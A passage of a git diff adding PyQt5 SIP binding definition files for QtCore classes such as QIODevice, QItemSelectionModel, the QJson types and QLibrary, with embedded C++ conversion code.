b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qiodevice.sip @@ -0,0 +1,347 @@ +// qiodevice.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QIODevice : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum OpenModeFlag + { + NotOpen, + ReadOnly, + WriteOnly, + ReadWrite, + Append, + Truncate, + Text, + Unbuffered, +%If (Qt_5_11_0 -) + NewOnly, +%End +%If (Qt_5_11_0 -) + ExistingOnly, +%End + }; + + typedef QFlags OpenMode; + QIODevice(); + explicit QIODevice(QObject *parent /TransferThis/); + virtual ~QIODevice(); + QIODevice::OpenMode openMode() const; + void setTextModeEnabled(bool enabled); + bool isTextModeEnabled() const; + bool isOpen() const; + bool isReadable() const; + bool isWritable() const; + virtual bool isSequential() const; + virtual bool open(QIODevice::OpenMode mode) /ReleaseGIL/; + virtual void close() /ReleaseGIL/; + virtual qint64 pos() const; + virtual qint64 size() const; + virtual bool seek(qint64 pos) /ReleaseGIL/; + virtual bool atEnd() const; + virtual bool reset(); + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + SIP_PYOBJECT read(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + len = sipCpp->read(s, a0); + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + QByteArray readAll() /ReleaseGIL/; + SIP_PYOBJECT readLine(qint64 maxlen=0) /TypeHint="Py_v3:bytes;str",ReleaseGIL/; +%MethodCode + // The two C++ overloads would have the same Python signature so we get most of + // the combined functionality by treating an argument of 0 (the default) as + // meaning return a QByteArray of any length. Otherwise it is treated as a + // maximum buffer size and a Python string is returned. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else if (a0 == 0) + { + QByteArray *ba; + + Py_BEGIN_ALLOW_THREADS + ba = new QByteArray(sipCpp->readLine(a0)); + Py_END_ALLOW_THREADS + + sipRes = sipBuildResult(&sipIsErr, "N", ba, sipType_QByteArray, 0); + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + len = sipCpp->readLine(s, a0); + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual bool canReadLine() const; + QByteArray peek(qint64 maxlen) /ReleaseGIL/; + qint64 write(const QByteArray &data) /ReleaseGIL/; + virtual bool waitForReadyRead(int msecs) /ReleaseGIL/; + virtual bool waitForBytesWritten(int msecs) /ReleaseGIL/; + void ungetChar(char c); + bool putChar(char c); + bool getChar(char *c /Encoding="None",Out/); + QString errorString() const; + +signals: + void readyRead(); + void bytesWritten(qint64 bytes); + void aboutToClose(); + void readChannelFinished(); + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) = 0 /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtect_readData(s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + +%VirtualCatcherCode + PyObject *result = sipCallMethod(&sipIsErr, sipMethod, "n", a1); + + if (result != NULL) + { + PyObject *buf; + + sipParseResult(&sipIsErr, sipMethod, result, "O", &buf); + + if (buf == Py_None) + sipRes = -1L; + else if (!SIPBytes_Check(buf)) + { + sipBadCatcherResult(sipMethod); + sipIsErr = 1; + } + else + { + memcpy(a0, SIPBytes_AsString(buf), SIPBytes_Size(buf)); + sipRes = SIPBytes_Size(buf); + } + + Py_DECREF(buf); + Py_DECREF(result); + } +%End + + virtual SIP_PYOBJECT readLineData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QIODevice::readLineData(s, a0) : sipCpp->readLineData(s, a0); + #else + len = sipCpp->sipProtectVirt_readLineData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + +%VirtualCatcherCode + PyObject *result = sipCallMethod(&sipIsErr, sipMethod, "n", a1); + + if (result != NULL) + { + PyObject *buf; + + sipParseResult(&sipIsErr, sipMethod, result, "O", &buf); + + if (buf == Py_None) + sipRes = -1L; + else if (!SIPBytes_Check(buf)) + { + sipBadCatcherResult(sipMethod); + sipIsErr = 1; + } + else + { + memcpy(a0, SIPBytes_AsString(buf), SIPBytes_Size(buf)); + sipRes = SIPBytes_Size(buf); + } + + Py_DECREF(buf); + Py_DECREF(result); + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) = 0; + void setOpenMode(QIODevice::OpenMode openMode); + void setErrorString(const QString &errorString); + +public: +%If (Qt_5_7_0 -) + int readChannelCount() const; +%End +%If (Qt_5_7_0 -) + int writeChannelCount() const; +%End +%If (Qt_5_7_0 -) + int currentReadChannel() const; +%End +%If (Qt_5_7_0 -) + void setCurrentReadChannel(int channel); +%End +%If (Qt_5_7_0 -) + int currentWriteChannel() const; +%End +%If (Qt_5_7_0 -) + void setCurrentWriteChannel(int channel); +%End +%If (Qt_5_7_0 -) + void startTransaction(); +%End +%If (Qt_5_7_0 -) + void commitTransaction(); +%End +%If (Qt_5_7_0 -) + void rollbackTransaction(); +%End +%If (Qt_5_7_0 -) + bool isTransactionStarted() const; +%End + +signals: +%If (Qt_5_7_0 -) + void channelReadyRead(int channel); +%End +%If (Qt_5_7_0 -) + void channelBytesWritten(int channel, qint64 bytes); +%End + +public: +%If (Qt_5_10_0 -) + qint64 skip(qint64 maxSize); +%End +}; + +QFlags operator|(QIODevice::OpenModeFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qitemselectionmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qitemselectionmodel.sip new file mode 100644 index 00000000..6e193ff5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qitemselectionmodel.sip @@ -0,0 +1,309 @@ +// qitemselectionmodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QItemSelectionRange +{ +%TypeHeaderCode +#include +%End + +public: + QItemSelectionRange(); + QItemSelectionRange(const QItemSelectionRange &other); + QItemSelectionRange(const QModelIndex &atopLeft, const QModelIndex &abottomRight); + explicit QItemSelectionRange(const QModelIndex &index); + int top() const; + int left() const; + int bottom() const; + int right() const; + int width() const; + int height() const; + const QPersistentModelIndex &topLeft() const; + const QPersistentModelIndex &bottomRight() const; + QModelIndex parent() const; + const QAbstractItemModel *model() const; + bool contains(const QModelIndex &index) const; + bool contains(int row, int column, const QModelIndex &parentIndex) const; + bool intersects(const QItemSelectionRange &other) const; + bool operator==(const QItemSelectionRange &other) const; + bool operator!=(const QItemSelectionRange &other) const; + bool isValid() const; + QModelIndexList indexes() const; + QItemSelectionRange intersected(const QItemSelectionRange &other) const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + + bool isEmpty() const; + bool operator<(const QItemSelectionRange &other) const; +%If (Qt_5_6_0 -) + void swap(QItemSelectionRange &other /Constrained/); +%End +}; + +class QItemSelectionModel : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum SelectionFlag + { + NoUpdate, + Clear, + Select, + Deselect, + Toggle, + Current, + Rows, + Columns, + SelectCurrent, + ToggleCurrent, + ClearAndSelect, + }; + + typedef QFlags SelectionFlags; +%If (Qt_5_5_0 -) + explicit QItemSelectionModel(QAbstractItemModel *model /TransferThis/ = 0); +%End +%If (- Qt_5_5_0) + explicit QItemSelectionModel(QAbstractItemModel *model /TransferThis/); +%End + QItemSelectionModel(QAbstractItemModel *model, QObject *parent /TransferThis/); + virtual ~QItemSelectionModel(); + QModelIndex currentIndex() const; + bool isSelected(const QModelIndex &index) const; +%If (- Qt_5_15_0) + bool isRowSelected(int row, const QModelIndex &parent) const; +%End +%If (Qt_5_15_0 -) + bool isRowSelected(int row, const QModelIndex &parent = QModelIndex()) const; +%End +%If (- Qt_5_15_0) + bool isColumnSelected(int column, const QModelIndex &parent) const; +%End +%If (Qt_5_15_0 -) + bool isColumnSelected(int column, const QModelIndex &parent = QModelIndex()) const; +%End +%If (- Qt_5_15_0) + bool rowIntersectsSelection(int row, const QModelIndex &parent) const; +%End +%If (Qt_5_15_0 -) + bool rowIntersectsSelection(int row, const QModelIndex &parent = QModelIndex()) const; +%End +%If (- Qt_5_15_0) + bool columnIntersectsSelection(int column, const QModelIndex &parent) const; +%End +%If (Qt_5_15_0 -) + bool columnIntersectsSelection(int column, const QModelIndex &parent = QModelIndex()) const; +%End + QModelIndexList selectedIndexes() const; + const QItemSelection selection() const; +%If (Qt_5_5_0 -) + QAbstractItemModel *model(); +%End +%If (- Qt_5_5_0) + const QAbstractItemModel *model() const; +%End + +public slots: + virtual void clear(); + void clearSelection(); + virtual void reset(); + virtual void select(const QModelIndex &index, QItemSelectionModel::SelectionFlags command); + virtual void select(const QItemSelection &selection, QItemSelectionModel::SelectionFlags command); + virtual void setCurrentIndex(const QModelIndex &index, QItemSelectionModel::SelectionFlags command); + virtual void clearCurrentIndex(); + +signals: + void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected); + void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); + void currentRowChanged(const QModelIndex ¤t, const QModelIndex &previous); + void currentColumnChanged(const QModelIndex ¤t, const QModelIndex &previous); + +protected: + void emitSelectionChanged(const QItemSelection &newSelection, const QItemSelection &oldSelection); + +public: + bool hasSelection() const; + QModelIndexList selectedRows(int column = 0) const; + QModelIndexList selectedColumns(int row = 0) const; +%If (Qt_5_5_0 -) + void setModel(QAbstractItemModel *model); +%End + +signals: +%If (Qt_5_5_0 -) + void modelChanged(QAbstractItemModel *model); +%End +}; + +QFlags operator|(QItemSelectionModel::SelectionFlag f1, QFlags f2); + +class QItemSelection +{ +%TypeHeaderCode +#include +%End + +public: + QItemSelection(); + QItemSelection(const QModelIndex &topLeft, const QModelIndex &bottomRight); + void select(const QModelIndex &topLeft, const QModelIndex &bottomRight); + bool contains(const QModelIndex &index) const; + int __contains__(const QModelIndex &index); +%MethodCode + // It looks like you can't assign QBool to int. + sipRes = bool(sipCpp->contains(*a0)); +%End + + QModelIndexList indexes() const; + void merge(const QItemSelection &other, QItemSelectionModel::SelectionFlags command); + static void split(const QItemSelectionRange &range, const QItemSelectionRange &other, QItemSelection *result); + void __setitem__(int i, const QItemSelectionRange &range); +%MethodCode + int len; + + len = sipCpp->count(); + + if ((a0 = (int)sipConvertFromSequenceIndex(a0, len)) < 0) + sipIsErr = 1; + else + (*sipCpp)[a0] = *a1; +%End + + void __setitem__(SIP_PYSLICE slice, const QItemSelection &list); +%MethodCode + Py_ssize_t start, stop, step, slicelength; + + if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) + { + sipIsErr = 1; + } + else + { + int vlen = a1->count(); + + if (vlen != slicelength) + { + sipBadLengthForSlice(vlen, slicelength); + sipIsErr = 1; + } + else + { + QItemSelection::const_iterator it = a1->begin(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipCpp)[start] = *it; + start += step; + ++it; + } + } + } +%End + + void __delitem__(int i); +%MethodCode + if ((a0 = (int)sipConvertFromSequenceIndex(a0, sipCpp->count())) < 0) + sipIsErr = 1; + else + sipCpp->removeAt(a0); +%End + + void __delitem__(SIP_PYSLICE slice); +%MethodCode + Py_ssize_t start, stop, step, slicelength; + + if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) + { + sipIsErr = 1; + } + else + { + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + sipCpp->removeAt(start); + start += step - 1; + } + } +%End + + QItemSelectionRange operator[](int i); +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = new QItemSelectionRange(sipCpp->operator[]((int)idx)); +%End + + QItemSelection operator[](SIP_PYSLICE slice); +%MethodCode + Py_ssize_t start, stop, step, slicelength; + + if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) + { + sipIsErr = 1; + } + else + { + sipRes = new QItemSelection(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipRes) += (*sipCpp)[start]; + start += step; + } + } +%End + +// Methods inherited from QList. +bool operator!=(const QItemSelection &other) const; +bool operator==(const QItemSelection &other) const; + +// Keep the following in sync with QStringList (except for mid()). +void clear(); +bool isEmpty() const; +void append(const QItemSelectionRange &range); +void prepend(const QItemSelectionRange &range); +void insert(int i, const QItemSelectionRange &range); +void replace(int i, const QItemSelectionRange &range); +void removeAt(int i); +int removeAll(const QItemSelectionRange &range); +QItemSelectionRange takeAt(int i); +QItemSelectionRange takeFirst(); +QItemSelectionRange takeLast(); +void move(int from, int to); +void swap(int i, int j); +int count(const QItemSelectionRange &range) const; +int count() const /__len__/; +QItemSelectionRange &first(); +QItemSelectionRange &last(); +int indexOf(const QItemSelectionRange &value, int from = 0) const; +int lastIndexOf(const QItemSelectionRange &value, int from = -1) const; +QItemSelection &operator+=(const QItemSelection &other); +QItemSelection &operator+=(const QItemSelectionRange &value); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonarray.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonarray.sip new file mode 100644 index 00000000..345a6964 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonarray.sip @@ -0,0 +1,133 @@ +// This is the SIP interface definition for the QJsonArray mapped type. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// Note that we assume any iterable can be converted to a QJsonArray. However, +// because QJsonValue is an iterable and QJsonObject is implemented as a dict +// (which is also an iterable), then any overloads that handle one or more of +// them must be ordered so that QJsonArray is checked last. + +%MappedType QJsonArray + /TypeHintIn="Iterable[QJsonValue]", TypeHintOut="List[QJsonValue]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + QJsonValue *t = new QJsonValue(sipCpp->at(i)); + PyObject *tobj = sipConvertFromNewType(t, sipType_QJsonValue, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, tobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QJsonArray *ql = new QJsonArray; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + QJsonValue *t = reinterpret_cast( + sipForceConvertToType(itm, sipType_QJsonValue, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QJsonValue' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(*t); + + sipReleaseType(t, sipType_QJsonValue, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsondocument.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsondocument.sip new file mode 100644 index 00000000..397b444e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsondocument.sip @@ -0,0 +1,116 @@ +// qjsondocument.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +struct QJsonParseError +{ +%TypeHeaderCode +#include +%End + + enum ParseError + { + NoError, + UnterminatedObject, + MissingNameSeparator, + UnterminatedArray, + MissingValueSeparator, + IllegalValue, + TerminationByNumber, + IllegalNumber, + IllegalEscapeSequence, + IllegalUTF8String, + UnterminatedString, + MissingObject, + DeepNesting, + DocumentTooLarge, +%If (Qt_5_4_0 -) + GarbageAtEnd, +%End + }; + + QString errorString() const; + int offset; + QJsonParseError::ParseError error; +}; + +class QJsonDocument +{ +%TypeHeaderCode +#include +%End + +public: + QJsonDocument(); + explicit QJsonDocument(const QJsonObject &object); + explicit QJsonDocument(const QJsonArray &array); + QJsonDocument(const QJsonDocument &other); + ~QJsonDocument(); + + enum DataValidation + { + Validate, + BypassValidation, + }; + + static QJsonDocument fromRawData(const char *data /Encoding="None"/, int size, QJsonDocument::DataValidation validation = QJsonDocument::Validate); + const char *rawData(int *size /Out/) const /Encoding="None"/; + static QJsonDocument fromBinaryData(const QByteArray &data, QJsonDocument::DataValidation validation = QJsonDocument::Validate); + QByteArray toBinaryData() const; + static QJsonDocument fromVariant(const QVariant &variant); + QVariant toVariant() const; + + enum JsonFormat + { + Indented, + Compact, + }; + + static QJsonDocument fromJson(const QByteArray &json, QJsonParseError *error = 0); + QByteArray toJson() const; + QByteArray toJson(QJsonDocument::JsonFormat format) const; + bool isEmpty() const; + bool isArray() const; + bool isObject() const; + QJsonObject object() const; + QJsonArray array() const; + void setObject(const QJsonObject &object); + void setArray(const QJsonArray &array); + bool operator==(const QJsonDocument &other) const; + bool operator!=(const QJsonDocument &other) const; + bool isNull() const; +%If (Qt_5_10_0 -) + void swap(QJsonDocument &other /Constrained/); +%End +%If (Qt_5_10_0 -) + const QJsonValue operator[](const QString &key) const; +%End +%If (Qt_5_10_0 -) + const QJsonValue operator[](int i) const; +%End +}; + +%If (Qt_5_13_0 -) +QDataStream &operator<<(QDataStream &, const QJsonDocument & /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_13_0 -) +QDataStream &operator>>(QDataStream &, QJsonDocument & /Constrained/) /ReleaseGIL/; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonobject.sip new file mode 100644 index 00000000..8958aaf4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonobject.sip @@ -0,0 +1,136 @@ +// This is the SIP interface definition for the QJsonObject mapped type. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QJsonObject + /TypeHint="Dict[QString, QJsonValue]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QJsonObject::const_iterator it = sipCpp->constBegin(); + QJsonObject::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + QString *k = new QString(it.key()); + PyObject *kobj = sipConvertFromNewType(k, sipType_QString, + sipTransferObj); + + if (!kobj) + { + delete k; + Py_DECREF(d); + + return 0; + } + + QJsonValue *v = new QJsonValue(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType_QJsonValue, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QJsonObject *jo = new QJsonObject; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int kstate; + QString *k = reinterpret_cast( + sipForceConvertToType(kobj, sipType_QString, sipTransferObj, + SIP_NOT_NONE, &kstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a key has type '%s' but 'str' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete jo; + + return 0; + } + + int vstate; + QJsonValue *v = reinterpret_cast( + sipForceConvertToType(vobj, sipType_QJsonValue, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a value has type '%s' but 'QJsonValue' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + sipReleaseType(k, sipType_QString, kstate); + delete jo; + + return 0; + } + + jo->insert(*k, *v); + + sipReleaseType(v, sipType_QJsonValue, vstate); + sipReleaseType(k, sipType_QString, kstate); + } + + *sipCppPtr = jo; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonvalue.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonvalue.sip new file mode 100644 index 00000000..a0e9846c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qjsonvalue.sip @@ -0,0 +1,102 @@ +// qjsonvalue.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QJsonValue /AllowNone,TypeHintIn="Union[QJsonValue, QJsonValue.Type, QJsonArray, QJsonObject, bool, int, float, None, QString]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode +if (!sipIsErr) + return qpycore_canConvertTo_QJsonValue(sipPy); + +return qpycore_convertTo_QJsonValue(sipPy, sipTransferObj, sipCppPtr, sipIsErr); +%End + +public: + enum Type + { + Null, + Bool, + Double, + String, + Array, + Object, + Undefined, + }; + + QJsonValue(QJsonValue::Type type /Constrained/ = QJsonValue::Null); + QJsonValue(const QJsonValue &other); + ~QJsonValue(); + static QJsonValue fromVariant(const QVariant &variant); + QVariant toVariant() const; + QJsonValue::Type type() const; + bool isNull() const; + bool isBool() const; + bool isDouble() const; + bool isString() const; + bool isArray() const; + bool isObject() const; + bool isUndefined() const; + bool toBool(bool defaultValue = false) const; + int toInt(int defaultValue = 0) const; + double toDouble(double defaultValue = 0) const; + QJsonArray toArray() const; + QJsonArray toArray(const QJsonArray &defaultValue) const; + QJsonObject toObject() const; + QJsonObject toObject(const QJsonObject &defaultValue) const; + bool operator==(const QJsonValue &other) const; + bool operator!=(const QJsonValue &other) const; +%If (Qt_5_7_0 -) + QString toString() const; +%End +%If (Qt_5_7_0 -) + QString toString(const QString &defaultValue) const; +%End +%If (- Qt_5_7_0) + QString toString(const QString &defaultValue = QString()) const; +%End +%If (Qt_5_10_0 -) + void swap(QJsonValue &other /Constrained/); +%End +%If (Qt_5_10_0 -) + const QJsonValue operator[](const QString &key) const; +%End +%If (Qt_5_10_0 -) + const QJsonValue operator[](int i) const; +%End +%If (Qt_5_12_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +%If (Qt_5_13_0 -) +QDataStream &operator<<(QDataStream &, const QJsonValue & /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_13_0 -) +QDataStream &operator>>(QDataStream &, QJsonValue & /Constrained/) /ReleaseGIL/; +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibrary.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibrary.sip new file mode 100644 index 00000000..66964480 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qlibrary.sip @@ -0,0 +1,64 @@ +// qlibrary.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLibrary : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum LoadHint + { + ResolveAllSymbolsHint, + ExportExternalSymbolsHint, + LoadArchiveMemberHint, + PreventUnloadHint, +%If (Qt_5_5_0 -) + DeepBindHint, +%End + }; 